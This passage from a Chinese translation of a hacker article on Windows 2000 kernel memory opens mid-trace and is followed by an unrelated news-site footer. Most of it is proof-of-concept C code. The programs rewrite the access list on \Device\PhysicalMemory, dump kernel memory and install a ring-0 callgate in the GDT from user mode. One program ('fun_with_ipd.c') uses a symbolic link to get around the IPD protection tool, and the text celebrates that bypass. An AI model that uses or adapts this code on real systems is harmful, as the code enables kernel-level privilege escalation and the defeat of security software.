7 NtRequestWaitReplyPort (36, {124, 148, 0, 868, 840, 7002, 0}, ... {124,

148, 2, 868, 840, 7003, 0}, ) == 0x0

8 NtClose (44, ... ) == 0x0

9 NtClose (48, ... ) == 0x0

[...]

---

(windows版的strace可以在BindView's RAZOR站点找到。 [7])

正如你所见,NtOpenSection函数根本不会重调自己来处理真实的对象名字,这简直太好了!这样,

\Device\PhysicalMemory就完全的我们的了,而IPD简直糟透了。记住,你必须在SYSTEM用户下运行该程序。

--[ 5 示例代码

LICENSE:

Sample code provided with the article may be copied/duplicated and modified

in any form as long as this copyright is prepended unmodified.

Code are proof of concept and the author can and must not be made

responsible for any damage/data loss.

Use this code at your own risk.

crazylord / CNS

----[ 5.1 kmem.h

typedef struct _UNICODE_STRING {

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_CASE_INSENSITIVE 0x00000040L

#define OBJ_KERNEL_HANDLE 0x00000200L

typedef LONG NTSTATUS;

#define STATUS_SUCCESS (NTSTATUS) 0x00000000L

#define STATUS_ACCESS_DENIED (NTSTATUS) 0xC0000022L

#define MAKE_DWORD(_l, _h) (DWORD) (_l | (_h << 16))

typedef struct _OBJECT_ATTRIBUTES {

ULONG Length;

HANDLE RootDirectory;

PUNICODE_STRING ObjectName;

ULONG Attributes;

PVOID SecurityDescriptor;

PVOID SecurityQualityOfService;

} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

// useful macros

#define InitializeObjectAttributes( p, n, a, r, s ) { (p)->Length = sizeof( OBJECT_ATTRIBUTES ); (p)->RootDirectory = r; (p)->Attributes = a; (p)->ObjectName = n; (p)->SecurityDescriptor = s; (p)->SecurityQualityOfService = NULL; }

#define INIT_UNICODE(_var,_buffer) UNICODE_STRING _var = { sizeof (_buffer) - sizeof (WORD), sizeof (_buffer), _buffer }

// callgate info

typedef struct _KGDTENTRY {

WORD LimitLow;

WORD BaseLow;

WORD BaseHigh;

} KGDTENTRY, *PKGDTENTRY;

typedef struct _CALLGATE_DESCRIPTOR {

USHORT offset_0_15;

USHORT selector;

UCHAR param_count :4;

UCHAR some_bits :4;

UCHAR type :4;

UCHAR app_system :1;

UCHAR dpl :2;

UCHAR present :1;

USHORT offset_16_31;

} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;

// section info

typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;

typedef enum _SECTION_INHERIT {

ViewShare = 1,

ViewUnmap = 2

} SECTION_INHERIT;

typedef struct _MAPPING {

/*000*/ PHYSICAL_ADDRESS pAddress;

/*008*/ PVOID vAddress;

/*00C*/ DWORD Offset;

/*010*/ } MAPPING, *PMAPPING;

// symlink info

#define SYMBOLIC_LINK_QUERY (0x0001)

#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)

// process info

// Flink to _EPROCESS

#define TO_EPROCESS(_a) ((DWORD) _a - 0xA0)

// Flink to UniqueProcessId

#define TO_PID(_a) (DWORD) ((DWORD) _a - 0x4)

// Flink to ImageFileName

#define TO_PNAME(_a) (PCHAR) ((DWORD) _a + 0x15C)

typedef struct _DISPATCHER_HEADER {

/*000*/ UCHAR Type;

/*001*/ UCHAR Absolute;

/*002*/ UCHAR Size;

/*003*/ UCHAR Inserted;

/*004*/ LONG SignalState;

/*008*/ LIST_ENTRY WaitListHead;

/*010*/ } DISPATCHER_HEADER;

typedef struct _KEVENT {

/*000*/ DISPATCHER_HEADER Header;

/*010*/ } KEVENT, *PKEVENT;

typedef struct _FAST_MUTEX {

/*000*/ LONG Count;

/*004*/ PVOID Owner;

/*008*/ ULONG Contention;

/*00C*/ KEVENT Event;

/*01C*/ ULONG OldIrql;

/*020*/ } FAST_MUTEX, *PFAST_MUTEX;

// the two following definition come from w2k_def.h by Sven B. Schreiber

typedef struct _MMSUPPORT {

/*000*/ LARGE_INTEGER LastTrimTime;

/*008*/ DWORD LastTrimFaultCount;

/*00C*/ DWORD PageFaultCount;

/*010*/ DWORD PeakWorkingSetSize;

/*014*/ DWORD WorkingSetSize;

/*018*/ DWORD MinimumWorkingSetSize;

/*01C*/ DWORD MaximumWorkingSetSize;

/*020*/ PVOID VmWorkingSetList;

/*024*/ LIST_ENTRY WorkingSetExpansionLinks;

/*02C*/ BOOLEAN AllowWorkingSetAdjustment;

/*02D*/ BOOLEAN AddressSpaceBeingDeleted;

/*02E*/ BYTE ForegroundSwitchCount;

/*02F*/ BYTE MemoryPriority;

/*030*/ } MMSUPPORT, *PMMSUPPORT;

typedef struct _IO_COUNTERS {

/*000*/ ULONGLONG ReadOperationCount;

/*008*/ ULONGLONG WriteOperationCount;

/*010*/ ULONGLONG OtherOperationCount;

/*018*/ ULONGLONG ReadTransferCount;

/*020*/ ULONGLONG WriteTransferCount;

/*028*/ ULONGLONG OtherTransferCount;

/*030*/ } IO_COUNTERS, *PIO_COUNTERS;

// this is a very simplified version :) of the EPROCESS

// structure.

typedef struct _EPROCESS {

/*000*/ BYTE Pcb[0x6C];

/*06C*/ NTSTATUS ExitStatus;

/*070*/ KEVENT LockEvent;

/*080*/ DWORD LockCount;

/*084*/ DWORD dw084;

/*088*/ LARGE_INTEGER CreateTime;

/*090*/ LARGE_INTEGER ExitTime;

/*098*/ PVOID LockOwner;

/*09C*/ DWORD UniqueProcessId;

/*0A0*/ LIST_ENTRY ActiveProcessLinks; // see PsActiveListHead

/*0A8*/ DWORD QuotaPeakPoolUsage[2]; // NP, P

/*0B0*/ DWORD QuotaPoolUsage[2]; // NP, P

/*0B8*/ DWORD PagefileUsage;

/*0BC*/ DWORD CommitCharge;

/*0C0*/ DWORD PeakPagefileUsage;

/*0C4*/ DWORD PeakVirtualSize;

/*0C8*/ LARGE_INTEGER VirtualSize;

/*0D0*/ MMSUPPORT Vm;

/*100*/ LIST_ENTRY SessionProcessLinks;

/*108*/ DWORD dw108[6];

/*120*/ PVOID DebugPort;

/*124*/ PVOID ExceptionPort;

/*128*/ PVOID ObjectTable;

/*12C*/ PVOID Token;

/*130*/ FAST_MUTEX WorkingSetLock;

/*150*/ DWORD WorkingSetPage;

/*154*/ BOOLEAN ProcessOutswapEnabled;

/*155*/ BOOLEAN ProcessOutswapped;

/*156*/ BOOLEAN AddressSpaceInitialized;

/*157*/ BOOLEAN AddressSpaceDeleted;

/*158*/ FAST_MUTEX AddressCreationLock;

/*178*/ KSPIN_LOCK HyperSpaceLock;

/*17C*/ DWORD ForkInProgress;

/*180*/ WORD VmOperation;

/*182*/ BOOLEAN ForkWasSuccessful;

/*183*/ BYTE MmAgressiveWsTrimMask;

/*184*/ DWORD VmOperationEvent;

/*188*/ PVOID PaeTop;

/*18C*/ DWORD LastFaultCount;

/*190*/ DWORD ModifiedPageCount;

/*194*/ PVOID VadRoot;

/*198*/ PVOID VadHint;

/*19C*/ PVOID CloneRoot;

/*1A0*/ DWORD NumberOfPrivatePages;

/*1A4*/ DWORD NumberOfLockedPages;

/*1A8*/ WORD NextPageColor;

/*1AA*/ BOOLEAN ExitProcessCalled;

/*1AB*/ BOOLEAN CreateProcessReported;

/*1AC*/ HANDLE SectionHandle;

/*1B0*/ PVOID Peb;

/*1B4*/ PVOID SectionBaseAddress;

/*1B8*/ PVOID QuotaBlock;

/*1BC*/ NTSTATUS LastThreadExitStatus;

/*1C0*/ DWORD WorkingSetWatch;

/*1C4*/ HANDLE Win32WindowStation;

/*1C8*/ DWORD InheritedFromUniqueProcessId;

/*1CC*/ ACCESS_MASK GrantedAccess;

/*1D0*/ DWORD DefaultHardErrorProcessing; // HEM_*

/*1D4*/ DWORD LdtInformation;

/*1D8*/ PVOID VadFreeHint;

/*1DC*/ DWORD VdmObjects;

/*1E0*/ PVOID DeviceMap;

/*1E4*/ DWORD SessionId;

/*1E8*/ LIST_ENTRY PhysicalVadList;

/*1F0*/ PVOID PageDirectoryPte;

/*1F4*/ DWORD dw1F4;

/*1F8*/ DWORD PaePageDirectoryPage;

/*1FC*/ CHAR ImageFileName[16];

/*20C*/ DWORD VmTrimFaultValue;

/*210*/ BYTE SetTimerResolution;

/*211*/ BYTE PriorityClass;

/*212*/ WORD SubSystemVersion;

/*214*/ PVOID Win32Process;

/*218*/ PVOID Job;

/*21C*/ DWORD JobStatus;

/*220*/ LIST_ENTRY JobLinks;

/*228*/ PVOID LockedPagesList;

/*22C*/ PVOID SecurityPort;

/*230*/ PVOID Wow64;

/*234*/ DWORD dw234;

/*238*/ IO_COUNTERS IoCounters;

/*268*/ DWORD CommitChargeLimit;

/*26C*/ DWORD CommitChargePeak;

/*270*/ LIST_ENTRY ThreadListHead;

/*278*/ PVOID VadPhysicalPagesBitMap;

/*27C*/ DWORD VadPhysicalPages;

/*280*/ DWORD AweLock;

/*284*/ } EPROCESS, *PEPROCESS;

// copy ntdll.lib from Microsoft DDK to current directory

#pragma comment(lib, "ntdll")

#define IMP_SYSCALL __declspec(dllimport) NTSTATUS _stdcall

IMP_SYSCALL

NtMapViewOfSection(HANDLE SectionHandle,

HANDLE ProcessHandle,

PVOID *BaseAddress,

ULONG ZeroBits,

ULONG CommitSize,

PLARGE_INTEGER SectionOffset,

PSIZE_T ViewSize,

SECTION_INHERIT InheritDisposition,

ULONG AllocationType,

ULONG Protect);

IMP_SYSCALL

NtUnmapViewOfSection(HANDLE ProcessHandle,

PVOID BaseAddress);

IMP_SYSCALL

NtOpenSection(PHANDLE SectionHandle,

ACCESS_MASK DesiredAccess,

POBJECT_ATTRIBUTES ObjectAttributes);

IMP_SYSCALL

NtClose(HANDLE Handle);

IMP_SYSCALL

NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,

ACCESS_MASK DesiredAccess,

POBJECT_ATTRIBUTES ObjectAttributes,

PUNICODE_STRING TargetName);

----[ 5.2 chmod_mem.c

#include <stdio.h>

#include <windows.h>

#include <aclapi.h>

#include "..\kmem.h"

void usage(char *n) {

printf("usage: %s (/current | /user) [who]\n", n);

printf("/current: add all access to current user\n");

printf("/user : add all access to user 'who'\n");

exit(0);

}

int main(int argc, char **argv) {

HANDLE Section;

DWORD Res;

NTSTATUS ntS;

PACL OldDacl=NULL, NewDacl=NULL;

PSECURITY_DESCRIPTOR SecDesc=NULL;

EXPLICIT_ACCESS Access;

OBJECT_ATTRIBUTES ObAttributes;

INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory");

BOOL mode;

if (argc < 2)

usage(argv[0]);

if (!strcmp(argv[1], "/current")) {

mode = 1;

} else if (!strcmp(argv[1], "/user") && argc == 3) {

mode = 2;

} else

usage(argv[0]);

memset(&Access, 0, sizeof(EXPLICIT_ACCESS));

InitializeObjectAttributes(&ObAttributes,

&ObName,

OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,

NULL,

NULL);

// open handle de \Device\PhysicalMemory

ntS = NtOpenSection(&Section, WRITE_DAC | READ_CONTROL, &ObAttributes);

if (ntS != STATUS_SUCCESS) {

printf("error: NtOpenSection (code: %x)\n", ntS);

goto cleanup;

}

// retrieve a copy of the security descriptor

Res = GetSecurityInfo(Section, SE_KERNEL_OBJECT,

DACL_SECURITY_INFORMATION, NULL, NULL, &OldDacl,

NULL, &SecDesc);

if (Res != ERROR_SUCCESS) {

printf("error: GetSecurityInfo (code: %lu)\n", Res);

goto cleanup;

}

Access.grfAccessPermissions = SECTION_ALL_ACCESS; // :P

Access.grfAccessMode = GRANT_ACCESS;

Access.grfInheritance = NO_INHERITANCE;

Access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;

// change these informations to grant access to a group or other user

Access.Trustee.TrusteeForm = TRUSTEE_IS_NAME;

Access.Trustee.TrusteeType = TRUSTEE_IS_USER;

if (mode == 1)

Access.Trustee.ptstrName = "CURRENT_USER";

else

Access.Trustee.ptstrName = argv[2];

// create the new ACL

Res = SetEntriesInAcl(1, &Access, OldDacl, &NewDacl);

if (Res != ERROR_SUCCESS) {

printf("error: SetEntriesInAcl (code: %lu)\n", Res);

goto cleanup;

}

// update ACL

Res = SetSecurityInfo(Section, SE_KERNEL_OBJECT,

DACL_SECURITY_INFORMATION, NULL, NULL, NewDacl,

NULL);

if (Res != ERROR_SUCCESS) {

printf("error: SetEntriesInAcl (code: %lu)\n", Res);

goto cleanup;

}

printf("\\Device\\PhysicalMemory chmoded\n");

cleanup:

if (Section)

NtClose(Section);

if (SecDesc)

LocalFree(SecDesc);

return(0);

}

----[ 5.3 winkdump.c

#include <stdio.h>

#include <stdlib.h>

#include <windows.h>

#include "..\kmem.h"

ULONG Granularity;

// thanx to kraken for the hexdump function

void hexdump(unsigned char *data, unsigned int amount) {

unsigned int dp, p;

const char trans[] =

"................................ !\"#$%&'()*+,-./0123456789"

":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"

"nopqrstuvwxyz{|}~...................................."

"....................................................."

"........................................";

for (dp = 1; dp <= amount; dp++) {

printf ("%02x ", data[dp-1]);

if ((dp % 8) == 0)

printf (" ");

if ((dp % 16) == 0) {

printf ("| ");

p = dp;

for (dp -= 16; dp < p; dp++)

printf ("%c", trans[data[dp]]);

printf ("\n");

}

}

if ((amount % 16) != 0) {

p = dp = 16 - (amount % 16);

for (dp = p; dp > 0; dp--) {

printf (" ");

if (((dp % 8) == 0) && (p != 8))

printf (" ");

}

printf (" | ");

for (dp = (amount - (16 - p)); dp < amount; dp++)

printf ("%c", trans[data[dp]]);

}

printf ("\n");

return ;

}

PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {

PHYSICAL_ADDRESS add;

if (vAddress < 0x80000000L || vAddress >= 0xA0000000L)

add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;

else

add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;

return(add);

}

int InitSection(PHANDLE Section) {

NTSTATUS ntS;

OBJECT_ATTRIBUTES ObAttributes;

INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");

InitializeObjectAttributes(&ObAttributes,

&ObString,

OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,

NULL,

NULL);

// open \Device\PhysicalMemory

ntS = NtOpenSection(Section,

SECTION_MAP_READ,

&ObAttributes);

if (ntS != STATUS_SUCCESS) {

printf(" * error NtOpenSection (code: %x)\n", ntS);

return(0);

}

return(1);

}

int main(int argc, char **argv) {

NTSTATUS ntS;

ULONG Address, Size, MappedSize, Offset;

HANDLE Section;

PVOID MappedAddress=NULL;

SYSTEM_INFO SysInfo;

PHYSICAL_ADDRESS pAddress;

printf(" *** win2k memory dumper ***\n\n");

if (argc != 3) {

printf("usage: %s <address> <size>\n", argv[0]);

return(0);

}

Address = strtoul(argv[1], NULL, 0);

MappedSize = Size = strtoul(argv[2], NULL, 10);

printf(" Virtual Address : 0x%.8x\n", Address);

if (!Size) {

printf("error: invalid size\n");

return(0);

}

// get allocation granularity information

GetSystemInfo(&SysInfo);

Granularity = SysInfo.dwAllocationGranularity;

printf(" Allocation granularity: %lu bytes\n", Granularity);

if (!InitSection(&Section))

return(0);

Offset = Address % Granularity;

MappedSize += Offset; // reajust mapping view

printf(" Offset : 0x%x\n", Offset);

pAddress = GetPhysicalAddress(Address - Offset);

printf(" Physical Address : 0x%.16x\n", pAddress);

ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress, 0L,

MappedSize, &pAddress, &MappedSize, ViewShare,

0, PAGE_READONLY);

printf(" Mapped size : %lu bytes\n", MappedSize);

printf(" View size : %lu bytes\n\n", Size);

if (ntS == STATUS_SUCCESS) {

hexdump((char *)MappedAddress+Offset, Size);

NtUnmapViewOfSection((HANDLE) -1, MappedAddress);

} else {

if (ntS == 0xC00000F4L)

printf("error: invalid physical address translation\n");

else

printf("error: NtMapViewOfSection (code: %x)\n", ntS);

}

NtClose(Section);

return(0);

}

----[ 5.2 winkps.c

// code very messy but working :)

#include <stdio.h>

#include <windows.h>

#include "..\kmem.h"

// get this address from win2k symbols

#define PSADD 0x8046A180 // PsActiveProcessHead

// default base address for ntoskrnl.exe on win2k

#define BASEADD 0x7FFE0000 // MmGetPhysicalAddress

// max process, to prevent easy crashing

#define MAX_PROCESS 50

typedef struct _MY_CG {

PHYSICAL_ADDRESS pAddress;

PVOID MappedAddress;

PCALLGATE_DESCRIPTOR Desc;

WORD Segment;

WORD LastEntry;

} MY_CG, *PMY_CG;

ULONG Granularity;

PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY) PSADD;

MY_CG GdtMap;

MAPPING CurMap;

PHYSICAL_ADDRESS (*MmGetPhysicalAddress) (PVOID BaseAddress);

void __declspec(naked) Ring0Func() {

_asm {

pushad

pushf

cli

mov esi, CurMap.vAddress

push esi

call MmGetPhysicalAddress

mov CurMap.pAddress, eax // save low part of LARGE_INTEGER

mov [CurMap+4], edx // save high part of LARGE_INTEGER

popf

popad

retf

}

}

// function which call the callgate

PHYSICAL_ADDRESS NewGetPhysicalAddress(PVOID vAddress) {

WORD farcall[3];

HANDLE Thread = GetCurrentThread();

farcall[2] = GdtMap.Segment;

if(!VirtualLock((PVOID) Ring0Func, 0x30)) {

printf("error: unable to lock function\n");

CurMap.pAddress.QuadPart = 1;

} else {

CurMap.vAddress = vAddress; // ugly way to pass argument

CurMap.Offset = (DWORD) vAddress % Granularity;

(DWORD) CurMap.vAddress -= CurMap.Offset;

SetThreadPriority(Thread, THREAD_PRIORITY_TIME_CRITICAL);

Sleep(0);

_asm call fword ptr [farcall]

SetThreadPriority(Thread,THREAD_PRIORITY_NORMAL);

VirtualUnlock((PVOID) Ring0Func, 0x30);

}

return(CurMap.pAddress);

}

PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {

PHYSICAL_ADDRESS add;

if (vAddress < 0x80000000L || vAddress >= 0xA0000000L) {

add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;

} else {

add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;

}

return(add);

}

void UnmapMemory(PVOID MappedAddress) {

NtUnmapViewOfSection((HANDLE) -1, MappedAddress);

}

int InstallCallgate(HANDLE Section, DWORD Function) {

NTSTATUS ntS;

KGDTENTRY gGdt;

DWORD Size;

PCALLGATE_DESCRIPTOR CgDesc;

_asm sgdt gGdt;

printf("virtual address of GDT : 0x%.8x\n",

MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));

GdtMap.pAddress =

GetPhysicalAddress(MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));

printf("physical address of GDT: 0x%.16x\n", GdtMap.pAddress.QuadPart);

Size = gGdt.LimitLow;

ntS = NtMapViewOfSection(Section, (HANDLE) -1, &GdtMap.MappedAddress,

0L, Size, &GdtMap.pAddress, &Size, ViewShare,

0, PAGE_READWRITE);

if (ntS != STATUS_SUCCESS || !GdtMap.MappedAddress) {

printf("error: NtMapViewOfSection (code: %x)\n", ntS);

return(0);

}

GdtMap.LastEntry = gGdt.LimitLow & 0xFFF8; // offset to last entry

for(CgDesc = (PVOID) ((DWORD)GdtMap.MappedAddress+GdtMap.LastEntry),

GdtMap.Desc=NULL;

(DWORD) CgDesc > (DWORD) GdtMap.MappedAddress;

CgDesc--) {

//printf("present:%x, type:%x\n", CgDesc->present, CgDesc->type);

if(CgDesc->present == 0){

CgDesc->offset_0_15 = (WORD) (Function & 0xFFFF);

CgDesc->selector = 8;

CgDesc->param_count = 0; //1;

CgDesc->some_bits = 0;

CgDesc->type = 12; // 32-bits callgate junior :>

CgDesc->app_system = 0; // A system segment

CgDesc->dpl = 3; // Ring 3 code can call

CgDesc->present = 1;

CgDesc->offset_16_31 = (WORD) (Function >> 16);

GdtMap.Desc = CgDesc;

break;

}

}

if (GdtMap.Desc == NULL) {

printf("error: unable to find free entry for installing callgate\n");

printf(" not normal by the way .. your box is strange =]\n");

}

GdtMap.Segment =

((WORD) ((DWORD) CgDesc - (DWORD) GdtMap.MappedAddress))|3;

printf("Allocated segment : %x\n", GdtMap.Segment);

return(1);

}

int UninstallCallgate(HANDLE Section, DWORD Function) {

PCALLGATE_DESCRIPTOR CgDesc;

for(CgDesc = (PVOID) ((DWORD) GdtMap.MappedAddress+GdtMap.LastEntry);

(DWORD) CgDesc > (DWORD) GdtMap.MappedAddress;

CgDesc--) {

if((CgDesc->offset_0_15 == (WORD) (Function & 0xFFFF))

&& CgDesc->offset_16_31 == (WORD) (Function >> 16)){

memset(CgDesc, 0, sizeof(CALLGATE_DESCRIPTOR));

return(1);

}

}

NtUnmapViewOfSection((HANDLE) -1, GdtMap.MappedAddress);

return(0);

}

void UnmapVirtualMemory(PVOID vAddress) {

NtUnmapViewOfSection((HANDLE) -1, vAddress);

}

PVOID MapVirtualMemory(HANDLE Section, PVOID vAddress, DWORD Size) {

PHYSICAL_ADDRESS pAddress;

NTSTATUS ntS;

DWORD MappedSize;

PVOID MappedAddress=NULL;

//printf("* vAddress: 0x%.8x\n", vAddress);

pAddress = NewGetPhysicalAddress((PVOID) vAddress);

//printf("* vAddress: 0x%.8x (after rounding, offset: 0x%x)\n",

// CurMap.vAddress, CurMap.Offset);

//printf("* pAddress: 0x%.16x\n", pAddress);

// check for error (1= impossible value)

if (pAddress.QuadPart != 1) {

Size += CurMap.Offset; // adjust mapping view

MappedSize = Size;

ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress,

0L, Size, &pAddress, &MappedSize, ViewShare,

0, PAGE_READONLY);

if (ntS != STATUS_SUCCESS || !MappedSize) {

printf(" error: NtMapViewOfSection, mapping 0x%.8x (code: %x)\n",

vAddress, ntS);

return(NULL);

}

} else

MappedAddress = NULL;

printf("mapped 0x%x bytes @ 0x%.8x (init Size: 0x%x bytes)\n",

MappedSize, MappedAddress, Size);

return(MappedAddress);

}

void DisplayProcesses(HANDLE Section) {

int i = 0;

DWORD Padding;

PEPROCESS CurProcess, NextProcess;

PVOID vCurEntry, vOldEntry, NewMappedAddress;

PLIST_ENTRY PsCur;

// first we map PsActiveProcessHead to get first entry

vCurEntry = MapVirtualMemory(Section, PsActiveProcessHead, 4);

if (!vCurEntry)

return;

PsCur = (PLIST_ENTRY) ((DWORD) vCurEntry + CurMap.Offset);

// most of EPROCESS struct are located around 0xfc[e-f]00000

// so we map 0x100000 bytes (~ 1mb) to avoid heavy mem mapping

while (PsCur->Flink != PsActiveProcessHead && i<MAX_PROCESS) {

NextProcess = (PEPROCESS) TO_EPROCESS(PsCur->Flink);

//printf("==> Current process: %x\n", CurProcess);

// we map 0x100000 bytes view so we store offset to EPROCESS

Padding = TO_EPROCESS(PsCur->Flink) & 0xFFFFF;

// check if the next struct is already mapped in memory

if ((DWORD) vCurEntry<= (DWORD) NextProcess

&& (DWORD)NextProcess+sizeof(EPROCESS)<(DWORD)vCurEntry+0x100000){

// no need to remap

// no remapping so we need to calculate the new address

CurProcess = (PEPROCESS) ((DWORD) NewMappedAddress + Padding);

} else {

CurProcess = NextProcess;

// unmap old view and map a new one

// calculate next base address to map

vOldEntry = vCurEntry;

vCurEntry = (PVOID) (TO_EPROCESS(PsCur->Flink) & 0xFFF00000);

//printf("link: %x, process: %x, to_map: %x, padding: %x\n",

// PsCur->Flink, TO_EPROCESS(PsCur->Flink),

// vCurEntry, Padding);

// unmap old view

UnmapVirtualMemory(vOldEntry);

vOldEntry = vCurEntry;

// map new view

vCurEntry = MapVirtualMemory(Section, vCurEntry, 0x100000);

if (!vCurEntry)

break;

// adjust EPROCESS structure pointer

CurProcess =

(PEPROCESS) ((DWORD) vCurEntry + CurMap.Offset + Padding);

// save mapped address

NewMappedAddress = vCurEntry;

// restore pointer from mapped addresses space 0x4**** to

// the real virtual address 0xf*******

vCurEntry = vOldEntry;

}

// reajust pointer to LIST_ENTRY struct

PsCur = &CurProcess->ActiveProcessLinks;

printf(" + %lu\t %s\n", CurProcess->UniqueProcessId,

CurProcess->ImageFileName[0] ?

CurProcess->ImageFileName : "[system]");

i++;

}

UnmapVirtualMemory(vCurEntry);

}

int main(int argc, char **argv) {

SYSTEM_INFO SysInfo;

OBJECT_ATTRIBUTES ObAttributes;

NTSTATUS ntS;

HANDLE Section;

HMODULE hDll;

INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");

printf(" *** win2k process lister ***\n\n");

GetSystemInfo(&SysInfo);

Granularity = SysInfo.dwAllocationGranularity;

printf("Allocation granularity: %lu bytes\n", Granularity);

InitializeObjectAttributes(&ObAttributes,

&ObString,

OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,

NULL,

NULL);

hDll = LoadLibrary("ntoskrnl.exe");

if (hDll) {

MmGetPhysicalAddress = (PVOID) ((DWORD) BASEADD +

(DWORD) GetProcAddress(hDll, "MmGetPhysicalAddress"));

printf("MmGetPhysicalAddress : 0x%.8x\n", MmGetPhysicalAddress);

FreeLibrary(hDll);

}

ntS = NtOpenSection(&Section, SECTION_MAP_READ|SECTION_MAP_WRITE,

&ObAttributes);

if (ntS != STATUS_SUCCESS) {

if (ntS == STATUS_ACCESS_DENIED)

printf("error: access denied to open

\\Device\\PhysicalMemory for r/w\n");

else

printf("error: NtOpenSection (code: %x)\n", ntS);

goto cleanup;

}

if (!InstallCallgate(Section, (DWORD) Ring0Func))

goto cleanup;

memset(&CurMap, 0, sizeof(MAPPING));

__try {

DisplayProcesses(Section);

} __except(UninstallCallgate(Section, (DWORD) Ring0Func), 1) {

printf("exception: trying to clean callgate...\n");

goto cleanup;

}

if (!UninstallCallgate(Section, (DWORD) Ring0Func))

goto cleanup;

cleanup:

if (Section)

NtClose(Section);

return(0);

}

----[ 5.4 fun_with_ipd.c

#include <stdio.h>

#include <conio.h>

#include <windows.h>

#include "..\kmem.h"

int main() {

NTSTATUS ntS;

HANDLE SymLink, Section;

OBJECT_ATTRIBUTES ObAttributes;

INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory");

INIT_UNICODE(ObNewName, L"\\??\\hack_da_ipd");

InitializeObjectAttributes(&ObAttributes,

&ObNewName,

OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,

NULL,

NULL);

ntS = NtCreateSymbolicLinkObject(&SymLink, SYMBOLIC_LINK_ALL_ACCESS,

&ObAttributes, &ObName);

if (ntS != STATUS_SUCCESS) {

printf("error: NtCreateSymbolicLinkObject (code: %x)\n", ntS);

return(0);

}

ntS = NtOpenSection(&Section, SECTION_MAP_READ, &ObAttributes);

if (ntS != STATUS_SUCCESS)

printf("error: NtOpenSection (code: %x)\n", ntS);

else {

printf("\\Device\\PhysicalMemory opened !!!\n");

NtClose(Section);

}

// now you can do what you want

getch();

NtClose(SymLink);

return(0);

}

--[ 6 - 结论

我希望本文能帮助你明白基本的Windows核心对象操作。据我所知,你可以完全跟linux's /dev/kmem

一样做任何事情,而且没有任何限制,简直超出了你的想象。 :)

我也希望本文能让Linux的纨绔子弟去读读。 (Refdom: 嘿嘿)

Thankx to CNS, u-n-f and subk dudes, ELiCZ for some help and finally

syn/ack oldschool people (wilmi power) =]

--[ 7 - References

[1] Sysinternals - www.sysinternals.com

[2] Microsoft DDK - www.microsoft.com/DDK/

[3] unofficial ntifs.h - www.insidewindows.info

[4] www.chapeaux-noirs.org/win/

[5] Intel IA-32 Software Developper manual - developer.intel.com

[6] Pedestal Software - www.pedestalsoftware.com

[7] BindView's RAZOR - razor.bindview.com

[8] Open Systems Resources - www.osr.com

[9] MSDN - msdn.microsoft.com

books:

* Undocumented Windows 2000 Secrets, A Programmer's Cookbook

(http://www.orgon.com/w2k_internals/)

* Inside Microsoft Windows 2000, Third Edition

(http://www.microsoft.com/mspress/books/4354.asp)

* Windows NT/2000 Native API Reference

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
